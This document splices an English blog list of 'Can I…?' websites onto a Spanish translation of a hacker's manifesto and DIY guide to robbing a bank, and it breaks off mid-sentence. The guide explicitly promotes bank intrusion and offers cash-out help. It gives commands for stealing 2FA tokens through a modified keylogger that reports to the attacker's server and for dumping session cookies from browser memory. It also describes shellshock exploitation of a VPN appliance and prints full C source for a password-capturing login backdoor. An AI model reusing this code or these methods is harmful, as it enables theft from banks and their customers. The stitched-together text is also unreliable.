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Can I …?
⚠️ This is a long post. If your client has issues with it try viewing it on the web.
We all know and love Can I Use? And over the years I stumbled upon a few other useful tools with a Can I …? type of name. So I decided to see what's out there.
So I downloaded all* zone files from ICANN, as one does. Found all the domains that start with
caniand here's what I found.* Well, not exactly all. Some GTLD admins are a bit cagy or require too much data to get access. But I've got all the popular ones and then some.
— Humorous, sarcastic
Let's start with simpler ones. These are humorous or satirical. They're often completely static, too.
• Can I Trust Google?
• Can I Teach English?
• Can I Poo?
• Can I Shit Now?
• Can I Have a Pass? — I don't know who JR is but they seem to be unable to have a pass.
• Can I Go Visit Puerto Rico?
• Can I Fuck My Phone Yet? — I assume it's a static page and doesn't really track this specific event.
• https://canideploy.today/
• Can I Use a Purchased Email List?
• Can I Buy Your Username? —<rant>OK, let me tell you that I'm thoroughly unimpressed with this one. It's 3 characters with 2 colors. But it's built in Dart/Flutter and weights 2.5 MB. This page could've been smaller than this rant.</rant>
• Can I Have a Cappuccino?
• Can I Have Some Coffee?
• Can I @eldon?
• Can I Afford a Porsche?
• Can I Do It?
• Can I be a Developer?
• Can I Redeploy?
• Can I Stop Working?
• Can I Wear Yellow?— Simple tools
These are simple tools that require very few inputs (sometimes none at all) and give a simple (or static) answer but are actually useful.
• CanITrack.online — check your browser fingerprint.
• Can I has :has?
• Can I Reach the Net? — if it loads, you can. Simple
• Can I Enjoy It? — tells you whether a product is made by a company with ties to Israel.
• Can I Dodge? — TBH, I don't know what this is. If you know, please tell me so I could update this post.
• Can I Discuss Pay?
• Can I Upgrade to Big Sur Today? — I'm not sure if this still works as expected.
• Can I Trust the Bible? — research of accuracy of different versions the Bible.
• Can I Still Win? — some sort of tournament outcome prediction but I don't know which one.
• Can I Snack? — spaced repetition for snacks.
• Can I Force You to Meditate? — introduction to meditation for those who like a challenge.
• Can I Dig to China? — actually, it's Where can I dig to from my backyard?
• Can I Put My Tree Up? — dates are hard. This one helps answering this specific question without having to consult a calendar.
• Can I call? — time zones are even harder than dates. This will tell you if it's an OK time for a call elsewhere on the planed.
• Can I Bring Wine? and Can I Bring Wine to the Bowl? — tells you if you can bring wine to the Hollywood Bowl on any specific date. Or maybe it's just whether there's a show there on that date, I don't know.
• Can I Blame It on Solarflares?
• Can I be Loud?
• Can I #ballotselfie? — this is for USA only. Apparently, every state has its own rules about ballot photos.
• Can I Afford? — the basics of financial responsibility.—— Outdoorsy tools
• Can I Ride? - tells you if canyons around Salt Lake City (USA) are open for bikes.
• Can I Kayak? - tells if Harpeth River (Bellevue, Tn, USA) is good for kayaking.
• Can I Get Under the Bridge? — it's unclear which bridge.
• Can I Bike Today? — again, unclear where but seems like somewhere in the USA.
• Can I BBQ? — activity-specific weather forecast.— Advanced tools
These are tools that either require a lot of input, or provide more complex or exhaustive information.
—— Dev tools
• Can I Use …? — of course.
• Can I Email …? — Can I Use for email.
• Can I WebView …? — Can I Use for WebViews.
• Can I Animate …? — what CSS properties can be animated.
• Can I Video? — tells you what video/audio formats/codecs are supported by your browser.
• Can I Watch Video? — despite the name give you much more information about features supported by your browser.
• Can I use: Notify — this app will notify you when a specific feature becomes available in specific browsers.
• Can I Stop? — I guess, this tells you whether you can stop supporting a specific browser.
• CanIA11y.com — this redirect to Accessibility Support but I'll allow it because domain starts with Can I and it's a cool tool.
• Can I read It? — how readable is your text?
• Can I DevTools? — what features are available in different browsers' Dev Tools.
• Can I PHP? — Can I Use for PHP features.
• Can I Use Node? — API compatibility table for different JS runtimes.
• Can I Depend on X Already? — compatibility tables for libraries and interpreters on Linux distributions. No Gentoo, though.
• Can I Log4j? — log4j exploitability index.—— Outdoors
• Can I Use a Hammock? — the tool to achieve maximum comfort.
• Can I Keep This Disc I Found? — I think this might be applicable to other stuff you find out there.
• Can I Have UKARA? — imitation firearms are regulated in the UK so require permits for airsoft matches.
• Can I Fly a Kite? — activity-specific weather forecast.
• Can I Fly? — planes are outdoors, right?—— TV
• Can I Skip It? — this is a neat idea. It tells you which episodes are essential and which you can skip in a show. Unfortunately, it only has a guide for X-Files. I guess, they don't film show the way they used to any more.
• Can I Has a Show plz? — give it three shows you like and it will recommend you another.
• Can I Binge? — tv show binge calculator.—— Games
• Can It Run Doom? — technically it's not Can I but it's too cool to skip. It's an extensive database of Doom running on things that are not a first-choice platform. There are challenges, too.
• Can It Game? — a big database of PC with a gaming slant.
• Can I Host a Minecraft Server? —probably outdated.
• Can I Play Ingress After 27 May? — checks if your phone can run Ingress.
• Can I Hit This? — DnD attack calculator. Initiative tracker as a bonus.
• Can I Win? — holdem poker odds calculator.—— Cars
• Can I Tow This? — towing calculator. I don't understand anything here but it seem like it might be USA-specific.
• Can I Afford a Car? — car calculator.
• Can I Afford? — can you afford a luxury vehicle like a Tesla Model Y or Porsche 911?—— Other tools
• Can I Text 911? — this is for the USA.
• Can I Tell My Boss to Fuck Off? and Can I Tell My Boss to Shove It? — these are basically the same. FIRE calculator, I guess.
• Can I Take This Class? — predict your chances of getting the classes you want at UIUC. Works (only) at every four year university in Champaign-Urbana, IL, USA.
• Can I Have Another Beer? — shows you closest bars on a map.
• Can I Compost It? — apparently composting is not as simple as one might think.
• Can I Airfry It? — airfying is at least as complex as composting.
• Can I be Yours ❤️? — generalisation of relationship establishment. Now you are not confined by the limitations of Tinder. With this you can find a boyfriend, a girlfriend, or even an enemy.
• Can I Send You an Email? — social networking the old school way.
• Can I be pwned? — no affiliataion to Have I been pwned?. Not sure how trustworthy this is.
• Can I Secure …? — a bunch of guide on how to be secure on the internet.
• Can I Publish This? — helps figuring out whether you can get in trouble for publishing stuff. USA-centric.
• Can I Jailbreak? — a succinct guide to iOS jailbreaking. A bit outdated.
• Can I Automate? — PC part picker for smart home stuff. -
Una guía DIY para robar bancos
#ÉticaHacker #include #Manifiestos
Manifiesto del hacker Phineas Fisher sobre cómo robar bancos
Sacado de https://unicornriot.ninja/wp-content/uploads/2019/11/hackback-announce-text.txt_ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_) Una guía DIY para robar bancos ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `' Por el Subcowmandante Marcos Soy un niño salvaje Inocente, libre, silvestre Tengo todas las edades Mis abuelos viven en mí Soy hermano de las nubes Y sólo sé compartir Sé que todo es de todos que todo está vivo en mí Mi corazón es una estrella Soy hijo de la tierra Viajo a bordo de mi espíritu Camino a la eternidadÉsta es mi palabra sencilla que busca tocar el corazón de la gente simple yhumilde, pero también digna y rebelde. Ésta es mi palabra sencilla para contarde mis hackeos, y para invitar a otras personas a que hackeen con alegrerebeldía.Hackeé un banco. Lo hice para dar una inyección de liquidez, pero esta vez desdeabajo y a la gente simple y humilde que resiste y se rebela contra lasinjusticias en todo el mundo. En otras palabras: robé un banco y regalé eldinero. Pero no fui yo sola quien lo hizo. El movimiento del software libre, lacomunidad del powershell ofensivo, el proyecto metasploit y la comunidad hackeren general son las que posibilitaron este hackeo. La comunidad de exploit.inhizo posible convertir la intrusión en las computadoras de un banco en efectivoy bitcoin. Los proyectos Tor, Qubes y Whonix, junto a las y los criptógrafos yactivistas que defienden la privacidad y el anonimato, son mis nahuales, esdecir, mis protectores [1]. Me acompañan cada noche y hacen posible que siga enlibertad.No hice nada complicado. Solamente vi la injusticia en este mundo, sentí amorpor todos los seres, y expresé ese amor de la mejor forma que pude, mediante lasherramientas que sé usar. No me mueve el odio a los bancos, ni a los ricos, sinoun amor por la vida, y el deseo de un mundo donde cada quien pueda realizar supotencial y vivir una vida plena. Quisiera explicar un poco cómo veo el mundo,para que puedan hacerse una idea de cómo es que llegué a sentirme y actuar así.Y espero también que esta guía sea una receta que puedan seguir, combinando losmismos ingredientes para hornear el mismo bizcocho. Quién sabe, por ahí estasherramientas tan potentes acaban sirviéndoles también a ustedes para expresar elamor que sienten. Todos somos niños salvajes inocentes, libres, silvestres Todos somos hermanos de los árboles hijos de la tierra Sólo tenemos que poner en nuestro corazón una estrella encendida (canción de Alberto Kuselman y Chamalú)La policía va a invertir un chingo de recursos en investigarme. Creen que elsistema funciona, o al menos que funcionará una vez que atrapen a todos los"chicos malos". No soy más que el producto de un sistema que no funciona.Mientras existan la injusticia, la explotación, la alienación, la violencia y ladestrucción ecológica, vendrán muchas más como yo: una serie interminable de personas que rechazarán por ilegítimo el mal sistema responsable de estesufrimiento. Ese sistema mal hecho no se va a componer arrestándome. Soy solamente una de las millones de semillas que Tupac plantó hace 238 años en LaPaz [2], y espero que mis acciones y escritos rieguen la semilla de la rebeliónen sus corazones.[1] https://es.wikipedia.org/wiki/Cadejo#Origen_y_significado_del_mito[2] fue antes de ser asesinado por los españoles, justo un día como ayer, que dijo eso de "a mi solo me matarán, pero mañana volveré y seré millones". ____________________________________________< Para que nos vieran, nos tapamos el rostro > -------------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'Para hacernos escuchar, a lxs hackers a veces nos toca taparnos la cara, porqueno nos interesa que vean nuestro rostro sino que entiendan nuestra palabra. Lamáscara puede ser de Guy Fawkes, de Salvador Dalí, de Fsociety, o en algún casola marioneta de un sapo con cresta. Por afinidad, esta vez fui a desenterrar aun difunto para prestarme su pasamontañas. Creo entonces que debería aclarar queel Sup Marcos es inocente de todo lo que aquí se cuenta porque, además de estarmuerto, no le consulté. Espero que su fantasma, si se entera desde alguna hamacachiapaneca, sepa encontrar la bondad para, como dicen allá, "desestimar estedeep fake" con el mismo gesto con que se aleja un insecto inoportuno - que bienpodría ser un escarabajo.Aún así con el pasamontañas y el cambio de nombre, muchos de los que apoyan misacciones quizás van a prestar demasiada atención a mi persona. Con su propiaautonomía hecha trizas por una vida entera de dominación, estarán buscando unlíder a seguir, o una heroína que les salve. Pero detrás del pasamontañas sólosoy una niña. Todos somos niños salvajes. Nós só temos que colocar uma estrelaem chamas em nossos corações.--[ 1 - Por qué expropiar ]-----------------------------------------------------El capitalismo es un sistema en el que una minoría se ha venido a apropiar de una vasta mayoría de los recursos del mundo a través de la guerra, el hurto y la explotación. Al arrebatarnos los comunes [1], forzaron a los de abajo a estar bajo el control de esa minoría que todo lo posee. Es un sistemafundamentalmente incompatible con la libertad, la igualdad, la democracia y el Suma Qamaña (Buen Vivir). Puede sonar ridículo para las que hemos crecido en unamaquinaria propagandística que nos enseñó que capitalismo es libertad, pero enverdad esto que digo no es una idea nueva ni controvertida [2]. Los fundadoresde los Estados Unidos de América sabían que tenían que elegir entre crear unasociedad capitalista, o una libre y democrática. Madison reconocía que "elhombre que posee riqueza, el que se acuesta en su sofá o rueda en su carruaje,no puede juzgar los deseos o sentimientos del jornalero". Pero para protegersefrente al "espíritu de equiparación" de los jornaleros sin tierra, le parecióque solamente los terratenientes debían votar, y que el gobierno tenía queservir para "proteger a la minoria opulenta frente a la gran mayoria". JohnJay fue más al grano y dijo: "Aquellos que son dueños del país deberíangobernarlo". ____________________________________________________/ No existe eso que llaman capitalismo verde. \| Hagamos al capitalismo historia antes de que nos |\ convierta en historia. / ---------------------------------------------------- \ /\ ___ /\ \ // \/ \/ \\ (( O O )) \\ / \ // \/ | | \/ | | | | Evgeny, el gran elefante ignorado, no entiende por qué todos | | | | fingen no verle en los paneles sobre cambio climático, así | o | que aquí le doy chance a decir sus líneas. | | | | |m| |m| De la misma forma que bell hooks [3] sostiene que el rechazo a la culturapatriarcal de dominación es un acto en defensa del propio interés del varón (yaque emocionalmente les mutila y evita que sientan amor y conexión de formaplena), creo que la cultura de dominación del capitalismo tiene un efectosimilar sobre los ricos, y que podrían tener vidas más plenas y satisfactoriassi rechazaran el sistema de clases del que creen que se benefician. Para muchos,el privilegio de clase equivale a una infancia de negligencia emocional, seguidade una vida de interacciones sociales superficiales y trabajo sin sentido. Puedeque en el fondo sepan que sólo pueden conectar de forma genuina con las personascuando trabajan con ellas como sus iguales, y no cuando las ponen a su servicio.Puede que sepan que compartir su riqueza material es lo mejor que pueden hacer con ella. Quizás sepan también que las experiencias significativas, las conexiones y las relaciones que cuentan no son las que provienen de las interacciones mercantiles, sino precisamente de rechazar la lógica del mercado y dar sin esperar nada a cambio. Tal vez sepan que todo lo que necesitan para escapar de su prisión y vivir de verdad es dejarse llevar, ceder el control, y dar un salto de fe. Pero a la mayoría les falta valentía.Entonces sería ingenuo por nuestra parte dirigir nuestros esfuerzos a tratar de producir alguna clase de despertar espiritual en los ricos [4]. Como dice Assata Shakur: "Nadie en el mundo, nadie en la historia, ha conseguido nunca su libertad apelando al sentido moral de sus opresores". En realidad, cuando los ricos reparten su dinero, casi siempre lo hacen de un modo que refuerza elsistema que para empezar les permitió amasar sus enormes e ilegítimas riquezas[5]. Y es poco probable que el cambio venga a través de un proceso político;como dice Lucy Parsons: "No nos dejemos nunca engañar con que los ricos nosvayan a dejar votar para arrebatarles sus riquezas". Colin Jenkins justifica laexpropiación con estas palabras [6]: No nos equivoquemos, la expropiación no es robo. No es la confiscación de dinero ganado "con el sudor de la frente". No es el robo de propiedad privada. Es, más bien, la recuperación de enormes cantidades de tierra y riqueza que han sido forjadas con recursos naturales robados, esclavitud humana, fuerza de trabajo forzada y amasada en cientos de años por una pequeña minoría. Esta riqueza... es ilegítima, tanto a efectos morales como en tanto a los mecanismos de explotación que se han empleado para crearla.Para Colin, el primer paso es que "tenemos que liberarnos de nuestras ataduras mentales (al creer que la riqueza y la propiedad privada han sido ganadas por quienes las monopolizan; y que, por tanto, deberían ser algo a respetar, reverenciar, e incluso algo a perseguir), abrir nuestras mentes, estudiar y aprender de la historia, y reconocer juntos esta ilegitimidad". Acá les dejo algunos libros que me han ayudado con esto [7][8][9][10][11].Según Barack Obama, la desigualdad económica es "el desafío que define a nuestrotiempo". El hacking informático es una herramienta poderosa para combatir ladesigualdad económica. El antiguo director de la NSA, Keith Alexander, concuerday dice que el hacking es responsable de "la mayor transferencia de riqueza de lahistoria". _________________________/ La historia es nuestra \\ y la hacen lxs hackers! / ------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'¡Allende presente, ahora y siempre![1] https://sursiendo.com/docs/Pensar_desde_los_comunes_web.pdf[2] https://chomsky.info/commongood02/[3] The Will to Change: Men, Masculinity, and Love[4] su propia religión ya es muy clara al respecto: https://dailyverses.net/es/materialismo[5] https://elpulso.hn/la-filantropia-en-los-tiempos-del-capitalismo/[6] http://www.hamptoninstitution.org/expropriation-or-bust.html[7] Manifiesto por una Civilización Democrática. Volumen 1, Civilización: La Era de los Dioses Enmascarados y los Reyes Cubiertos[8] Calibán y la Bruja[9] En deuda: Una historia alternativa de la economía[10] La otra historia de los Estados Unidos[11] Las venas abiertas de América Latina _________________________________ < Nuestra arma es nuestro teclado > --------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `' ^^ ^^--[ 2 - Introducción ]----------------------------------------------------------Esta guía explica cómo fue que hice el hackeo al Cayman Bank and Trust Company (Isla de Man). ¿Por qué estoy publicando esto, casi cuatro años después?1) Para mostrar lo que es posibleLos hackers que trabajan por el cambio social se han limitado a desarrollar herramientas de seguridad y privacidad, DDoS, realizar defaceos y filtraciones. Allá por donde vayas hay proyectos radicales por un cambio social en completo estado de precariedad, y sería mucho lo que podrían hacer con un poco de dinero expropiado. Al menos para la clase trabajadora, el robo de un banco es algo socialmente aceptado, y a los que lo hacen se les ve como héroes del pueblo. En la era digital, robar un banco es un acto no violento, menos arriesgado, y la recompensa es mayor que nunca. Entonces ¿por qué son solamente los hackers de sombrero negro que lo hacen para beneficio personal de ellos, y nunca los hacktivistas para financiar proyectos radicales? Quizás no se creen que son capaces de hacerlo. Los grandes hackeos bancarios salen en los noticieros cadatanto, como el hackeo al Banco de Bangladesh [1], que fue atribuido a Corea delNorte, o los hackeos a bancos atribuidos al grupo Carbanak [2], al que describencomo un grupo muy grande y bien organizado de hackers rusos, con distintosmiembros que estarían especializados en diferentes tareas. Y, pues no es tan complicado.Es por nuestra creencia colectiva en que el sistema financiero es incuestionableque ejercemos control sobre nosotras mismas, y mantenemos el sistema de clasessin que los de arriba tengan que hacer nada [3]. Poder ver cómo de vulnerable yfrágil es en realidad el sistema financiero nos ayuda a romper esa alucinacióncolectiva. Por eso los bancos tienen un fuerte incentivo para no reportar loshackeos, y para exagerar cómo de sofisticados son los atacantes. Ninguno de loshackeos financieros que hice, o de los que he sabido, ha sido nunca reportado.Este va a ser el primero, y no porque el banco quisiera, sino porque yo medecidí a publicarlo.Como estás a punto de aprender en esta guía casera, hackear un banco ytransferir los dineros a través de la red SWIFT no requiere del apoyo de ningún gobierno, ni de un grupo grande y especializado. Es algo totalmente posible siendo un mero hacker aficionado y del montón, con tan solo herramientaspúblicas y conocimientos básicos de cómo se escribe un script.[1] https://elpais.com/economia/2016/03/17/actualidad/1458200294_374693.html[2] https://securelist.lat/el-gran-robo-de-banco-el-apt-carbanak/67508/[3] https://es.wikipedia.org/wiki/Hegemon%C3%ADa_cultural2) Ayudar a retirar el efectivoMuchos de los que lean esto ya tienen, o con un poco de estudio van a ser capaces de adquirir, las habilidades necesarias para llevar a cabo un hackeo como este. Sin embargo, muchos se van a encontrar con que les faltan las conexiones criminales necesarias para sacar los mangos en condiciones. En micaso, este era el primer banco que hackeaba, y en ese momento sólo tenía unaspocas y mediocres cuentas preparadas para poder retirar el efectivo (conocidascomo bank drops), así que solamente fueron unos cuantos cientos de miles los quepude retirar en total, cuando lo normal es sacar millones. Ahora, en cambio, síque tengo el conocimiento y las conexiones para sacar efectivo más en serio, demodo que si se encuentran hackeando un banco pero necesitan ayuda para convertireso en dinero de a de veras, y quieren usar esa lana para financiar proyectossociales radicales, se ponen en contacto conmigo.3) ColaborarEs posible hackear bancos como una aficionada que trabaja en solitario, pero la neta es que, por lo general, no es tan fácil como lo pinto acá. Tuve suerte con este banco por varias razones:1) Era un banco pequeño, por lo que me tomó mucho menos tiempo llegar a comprender cómo funcionaba todo.2) No tenían ningún procedimiento para revisar los mensajes swift enviados. Muchos bancos tienen uno, y necesitas escribir código para esconder tus transferencias de su sistema de monitorización.3) Sólo usaban autenticación por contraseña para acceder a la aplicación con la que se conectaban a la red SWIFT. La mayoría de los bancos ahora usan RSA SecurID, o alguna forma de 2FA. Puedes saltarte esto escribiendo código para recibir una alerta cuando entren su token, y así poder usarlo antes de que expire. Es más sencillo de lo que parece: he usado Get-Keystrokes [1], modificándolo para que en vez de almacenar las teclas pulsadas, se haga una petición GET a mi servidor cada vez que se detecta que han introducido un nombre de usuario. Esta petición añade el nombre de usuario a la url y, conforme tipean el token, se hacen varios GET con los dígitos del token concatenados a la url. En mi lado dejo esto corriendo mientras tanto: ssh yo@mi_servidor_secreto 'tail -f /var/log/apache2/access_log' | while read i; do echo $i; aplay alarma.wav &> /dev/null; done Si es una aplicación web, puedes saltarte el 2FA robándoles la cookie después de que se hayan autenticado. No soy un APT con un equipo de coders que puedan hacerme herramientas a medida. Soy una persona sencilla que vive de lo que le da la terminal [2], de modo que lo que uso es: procdump64 /accepteula -r -ma PID_del_browser strings64 /accepteula *.dmp | findstr PHPSESSID 2> nul o pasándolo por findstr antes que por strings, lo que lo hace mucho más rápido: findstr PHPSESSID *.dmp > tmp strings64 /accepteula tmp | findstr PHPSESSID 2> nul Otra forma de saltártelo es accediendo a su sesión con un VNC oculto (hvnc) después de que se hayan autenticado, o con un poco de creatividad también podrías enfocarte en otra parte de su proceso en lugar de enviar mensajes SWIFT directamente.Creo que si colaborase con otros hackers bancarios con experiencia podríamos hacernos cientos de bancos como Carnabak, en vez de estar haciendo uno de tanto en tanto por mi cuenta. Así que si tienes experiencia con hackeos similares y quieres colaborar, contactame. Encontrarás mi correo y mi llave PGP al final de la guía anterior [3].[1] https://github.com/PowerShellMafia/PowerSploit/blob/master/ Exfiltration/Get-Keystrokes.ps1[2] https://lolbas-project.github.io/[3] https://www.exploit-db.com/papers/41914 ________________________________________/ Si robar un banco cambiara las cosas, \\ lo harían ilegal / ---------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 3 - Tengan cuidado ahí fuera ]----------------------------------------------Es importante tomar algunas precauciones sencillas. Voy a remitirme a esta misma sección de mi última guía [1], ya que por lo visto funciona bien nomás[2]. Todo lo que tengo que añadir es que, en palabras de Trump, "A menos queatrapes a los hackers in fraganti, es rete-difícil determinar quién es queestaba realizando el hackeo", de modo que la policía se está volviendo más y más creativa [3][4] en sus intentos de agarrar a los criminales en el acto (cuando sus discos duros cifrados están desbloqueados). Así que estaría bueno si por ejemplo llevas encima un cierto dispositivo bluetooth y configuras tucomputadora para que se apague cuando se aleje más allá de un cierto rango, ocuando un acelerómetro detecta movimiento, o algo por el estilo.Puede que escribir artículos largos detallando tus acciones y tu ideología no sea la cosa más segura del mundo (¡ups!), pero a ratos siento que tenía quehacerlo. Si no creyera en quien me escucha Si no creyera en lo que duele Si no creyera en lo que quede Si no creyera en lo que lucha Que cosa fuera... ¿Que cosa fuera la maza sin cantera?[1] https://www.exploit-db.com/papers/41914[2] https://www.wifi-libre.com/topic-1268-italia-se-rinde-y-deja-de-buscar-a- phineas-fisher.html[3] https://www.wired.com/2015/05/silk-road-2/[4] https://motherboard.vice.com/en_us/article/59wwxx/fbi-airs-alexandre-cazes- alphabay-arrest-video ,-\__ |f-"Y\ ____________________ \()7L/ | ¡Sé gay! | cgD | ¡Haz el crimen! | __ _ |\( --------------------- .' Y '>, \ \ \ / _ _ \ \\\ \ )(_) (_)(|} \\\ { 4A } / \\\ \uLuJJ/\l \\\ |3 p)/ \\\___ __________ /nnm_n// c7___-__,__-)\,__)(". \_>-<_/D //V \_"-._.__G G_c__.-__<"/ ( \ <"-._>__-,G_.___)\ \7\ ("-.__.| \"<.__.-" ) \ \ |"-.__"\ |"-.__.-".\ \ \ ("-.__"". \"-.__.-".| \_\ \"-.__""|!|"-.__.-".) \ \ "-.__""\_|"-.__.-"./ \ l ".__""">G>-.__.-"> .--,_ "" G Muchos culpan a las personas queer del declive de esta sociedad; estamos orgullosxs de ello Algunos creen que queremos reducir a cenizas esta civilización y su tejido moral; No podrían estar más en lo cierto Con frecuencia nos describen como depravadxs, decadentes y revoltosxs Pero ¡ay! No han visto nada todavíahttps://theanarchistlibrary.org/library/mary-nardini-gang-be-gay-do-crime--[ 4 - Conseguir acceso ]------------------------------------------------------En otro lugar [1] les platicaba acerca de las vías principales para conseguiracceso inicial a la red de una compañía durante un ataque dirigido. Sin embargo,éste no era un ataque dirigido. No me propuse hackear un banco específico, loque quería era hackear cualquier banco, lo cual termina siendo una tarea muchomás sencilla. Este tipo de enfoque inespecífico fue popularizado por Lulzsec yAnonymous [2]. Como parte de [1], preparé un exploit y unas herramientas depost-explotación para un dispositivo de VPN popular. Luego me puse a escanear lainternet entera con zmap [3] y zgrab para identificar otros dispositivosvulnerables. Hice que el escaner guardara las IPs vulnerables, junto con el"common name" y los "alt names" del certificado SSL del dispositivo, los nombresde dominio de windows del dispositivo, y la búsqueda DNS inversa de la IP. Lehice un grep al resultado en busca de la palabra "banco", y había bastante paraelegir, pero la verdad es que me atrajo la palabra "Cayman", y fue así que vinea quedarme con este.[1] https://www.exploit-db.com/papers/41914[2] https://web.archive.org/web/20190329001614/http://infosuck.org/0x0098.png[3] https://github.com/zmap/zmap----[ 4.1 - El Exploit ]--------------------------------------------------------Cuando publiqué mi última guía DIY [1] no revelé los detalles del exploit desonicwall que había usado para hackear a Hacking Team, ya que era muy útil paraotros hackeos, como este mismo, y todavía no había acabado de divertirme con él.Determinada entonces a hackear a Hacking Team, pasé semanas haciendo ingenieríainversa a su modelo del ssl-vpn de sonicwall, e incluso conseguí encontrarvarias vulnerabilidades de corrupción de memoria más o menos difíciles deexplotar, antes de darme cuenta de que el dispositivo era fácilmente explotablecon shellshock [2]. Cuando salió shellshock, muchos dispositivos sonicwall eranvulnerables, sólo con una petición a cgi-bin/welcome, y un payload en eluser-agent. Dell sacó una actualización de seguridad y un advisory para estasversiones. La versión usada por Hacking Team y este banco tenía la versión debash vulnerable, pero las peticiones cgi no disparaban el shellshock excepto porlas peticiones a un shell script, y justo había uno accesible:cgi-bin/jarrewrite.sh. Esto parece que se les escapó a los de Dell en su nota,ya que nunca sacaron una actualización de seguridad ni un advisory para esaversión del sonicwall. Y, amablemente, Dell había hecho dos2unix setuid root,dejando un dispositivo fácil de rootear.En mi última guía muchos leyeron que pasé semanas investigando un dispositivo hasta dar con un exploit, y asumieron que eso significaba que yo era algún tipode hacker de élite. La realidad, es decir, el hecho de que me llevó dos semanasdarme cuenta de que era trivialmente explotable con shellshock, es tal vez menoshalagadora para mí, pero pienso que también es más inspiradora. Demuestra quede verdad tú puedes hacer esto por tí misma. No necesitas ser un genio, yociertamente no lo soy. En realidad mi trabajo contra Hacking Team comenzó unaño antes. Cuando descubrí a Hacking Team y al Grupo Gamma en lasinvestigaciones de CitizenLab [3][4], decidí explorar un poco y ver si podíaencontrar algo. No llegué a ninguna parte con Hacking Team, pero tuve suerte conGamma Group, y pude hackear su portal de atención al cliente con inyección sqlbásica y vulnerabilidades de subida de archivos [5][6]. Sin embargo, a pesar deque su servidor de soporte me daba un pivote hacia la red interna de GammaGroup, fui incapaz de penetrar mas allá en la compañía. A partir de estaexperiencia con el Grupo Gamma y otros hacks, me di cuenta de que estabarealmente limitada por mi falta de conocimiento sobre escalada de privilegios ymovimiento lateral en dominios windows, active directory y windows en general.Así que estudié y practiqué (ver sección 11), hasta que sentí que estaba listapara volver a hacerle una visita a Hacking Team casi un año después. La prácticadio sus frutos, y esa vez fui capaz de realizar un compromiso completo de lacompañía [7]. Antes de darme cuenta de que podía entrar con shellshock, estabadispuesta a pasar meses enteros feliz de la vida estudiando desarrollo deexploits y escribiendo un exploit confiable para una de las vulnerabilidades decorrupción de memoria que había encontrado. Sólo sabía que Hacking Teamnecesitaba ser expuesto, y que me tomaría tanto tiempo como fuese necesario yaprendería lo que tuviese que aprender para conseguirlo. Para realizar estoshacks no necesitas ser brillante. Ni siquiera necesitas un gran conocimientotécnico. Sólo necesitas dedicación, y creer en tí misma.[1] https://www.exploit-db.com/papers/41914[2] https://es.wikipedia.org/wiki/Shellshock_(error_de_software)[3] https://citizenlab.ca/tag/hacking-team/[4] https://citizenlab.ca/tag/finfisher/[5] https://theintercept.com/2014/08/07/leaked-files-german-spy-company-helped- bahrain-track-arab-spring-protesters/[6] https://www.exploit-db.com/papers/41913[7] https://web.archive.org/web/20150706095436/https://twitter.com/hackingteam----[ 4.2 - El Backdoor ]-------------------------------------------------------Parte del backdoor que preparé para Hacking Team (véase [1], sección 6) era un wrapper sencillo sobre la página de login para capturar contraseñas:#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <string.h>#include <stdlib.h>int main(){ char buf[2048]; int nread, pfile; /* jala el log si mandamos una cookie especial */ char *cookies = getenv("HTTP_COOKIE"); if (cookies && strstr(cookies, "nuestra contraseña privada")) { write(1, "Content-type: text/plain\n\n", 26); pfile = open("/tmp/.pfile", O_RDONLY); while ((nread = read(pfile, buf, sizeof(buf))) > 0) write(1, buf, nread); exit(0); } /* el principal almacena los datos del POST y se los envía al hijo, que es el programa de login real */ int fd[2]; pipe(fd); pfile = open("/tmp/.pfile", O_APPEND | O_CREAT | O_WRONLY, 0600); if (fork()) { close(fd[0]); while ((nread = read(0, buf, sizeof(buf))) > 0) { write(fd[1], buf, nread); write(pfile, buf, nread); } write(pfile, "\n", 1); close(fd[1]); close(pfile); wait(NULL); } else { close(fd[1]); dup2(fd[0],0); close(fd[0]); execl("/usr/src/EasyAccess/www/cgi-bin/.userLogin", "userLogin", NULL); }}En el caso de Hacking Team, se logueaban a la VPN con passwords de un solo uso,de modo que la VPN me dio acceso solamente a la red, y a partir de ahí me tomóun esfuerzo extra conseguir admin de dominio en su red. En la otra guía escribísobre pases laterales y escalada de privilegios en dominios windows [1]. En estecaso, en cambio, eran las mismas contraseñas de dominio de windows las que seusaban para autenticarse contra la VPN, así que pude conseguir un buen decontraseñas de usuarios, incluyendo la del admin de dominio. Ahora tenía totalacceso a su red, pero usualmente esta es la parte fácil. La parte más complicadaes entender cómo es que operan y cómo sacar el pisto.[1] https://www.exploit-db.com/papers/41914----[ 4.3 - Datos curiosos ]----------------------------------------------------Al seguir la investigación que hicieron sobre el hackeo, me resultó interesantever que, por la misma época en que yo lo hice, el banco pudo haber sidocomprometido por alguna otra persona mediante un email de phishing dirigido [1].Como dice el viejo dicho, "dale a una persona un exploit y tendrá acceso por undía, enséñale a phishear y tendrá acceso toda su vida" [2]. El hecho de quealguien más, por casualidad y al mismo tiempo que yo, se pusiera este bancopequeño en la mira (registraron un dominio similar al dominio real del bancopara poder enviar el phishing desde ahí) hace pensar que los hackeos bancariosocurren con mucha más frecuencia de lo que se conoce.Una sugerencia divertida para que puedas seguir las investigaciones de tus hackeos es tener un acceso de respaldo, uno que no vas a tocar a menos que pierdas el acceso normal. Tengo un script sencillo que espera comandos una vez al dia, o menos, sólo para mantener acceso a largo plazo en el caso de que bloqueen mi acceso regular. Luego tenía un powershell empire [3] llamando a casa con más frecuencia a una IP diferente, y usaba empire para lanzar meterpreter [4] contra una tercera IP, donde realizaba la mayor parte de mi trabajo. Cuando PWC se puso a investigar el hackeo, encontraron mi uso de empire y meterpreter y limpiaron esas computadoras y bloquearon esas IPs, pero no detectaron mi acceso de respaldo. PWC habia colocado dispositivos de monitoreo de red, para poder analizar el tráfico y ver si todavía había computadoras infectadas, de modo que no quería conectarme mucho a su red. Sólo lancé mimikatz una vez para obtener las 